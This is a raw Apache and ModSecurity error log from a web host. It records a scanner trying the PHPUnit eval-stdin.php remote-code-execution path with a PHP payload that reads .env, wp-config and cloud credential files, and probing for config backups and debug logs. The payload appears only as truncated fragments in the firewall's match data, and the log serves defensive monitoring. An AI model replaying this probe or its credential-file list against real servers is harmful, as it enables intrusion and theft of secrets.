[hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.629682 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/ww..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2 [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.629977 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: <?php echo 'ahmadscan_phpunit_cf888575';$fs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.637092 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/def..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/ [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.653886 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.688863 2026] [authz_core:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php~
[Fri Jul 17 08:55:17.689008 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.690688 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.692516 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.694275 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.705920 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 70)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.706227 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.706580 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 70 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=40,PHPI=10,HTTP=0,SESS=0): individual paranoia level scores: 70, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnUkXT4NBqALj2lZ8qwAAABA"]
[Fri Jul 17 08:55:17.708520 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.709596 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.720990 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.725656 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wp-config.backup"] [unique_id "almgnXRlmrtCoY_COpcl1wAAAAg"]
[Fri Jul 17 08:55:17.726208 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-config.backup"] [unique_id "almgnXRlmrtCoY_COpcl1wAAAAg"]
[Fri Jul 17 08:55:17.726381 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.726544 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnXRlmrtCoY_COpcl1wAAAAg"]
[Fri Jul 17 08:55:17.730924 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.731544 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.735524 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.736871 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.740726 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wp-content/debug.log"] [unique_id "almgnSRF0UOO1RzB5_8uBgAAAA4"]
[Fri Jul 17 08:55:17.741608 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-content/debug.log"] [unique_id "almgnSRF0UOO1RzB5_8uBgAAAA4"]
[Fri Jul 17 08:55:17.741858 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.742126 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnSRF0UOO1RzB5_8uBgAAAA4"]
[Fri Jul 17 08:55:17.751380 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.old" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.old found within REQUEST_FILENAME: /wp-config.old.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/wp-config.old.php"] [unique_id "almgnQ5GPQ6hs4VrfMpBaQAAAAY"]
[Fri Jul 17 08:55:17.751906 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-config.old.php"] [unique_id "almgnQ5GPQ6hs4VrfMpBaQAAAAY"]
[Fri Jul 17 08:55:17.752119 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.752322 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnQ5GPQ6hs4VrfMpBaQAAAAY"]
[Fri Jul 17 08:55:17.754408 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.758247 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/wp-content/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.759397 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.764713 2026] [authz_core:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.save
[Fri Jul 17 08:55:17.764953 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.766547 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/debug.log"] [unique_id "almgnXRlmrtCoY_COpcl2AAAAAg"]
[Fri Jul 17 08:55:17.767339 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-content/uploads/debug.log"] [unique_id "almgnXRlmrtCoY_COpcl2AAAAAg"]
[Fri Jul 17 08:55:17.767525 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.767708 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnXRlmrtCoY_COpcl2AAAAAg"]
[Fri Jul 17 08:55:17.768298 2026] [authz_core:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.old
[Fri Jul 17 08:55:17.768460 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.769623 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup.1"] [unique_id "almgnSvekYYQ8uns4MwlVwAAAA0"]
[Fri Jul 17 08:55:17.770074 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup.1"] [unique_id "almgnSvekYYQ8uns4MwlVwAAAA0"]
[Fri Jul 17 08:55:17.770257 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.770257 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
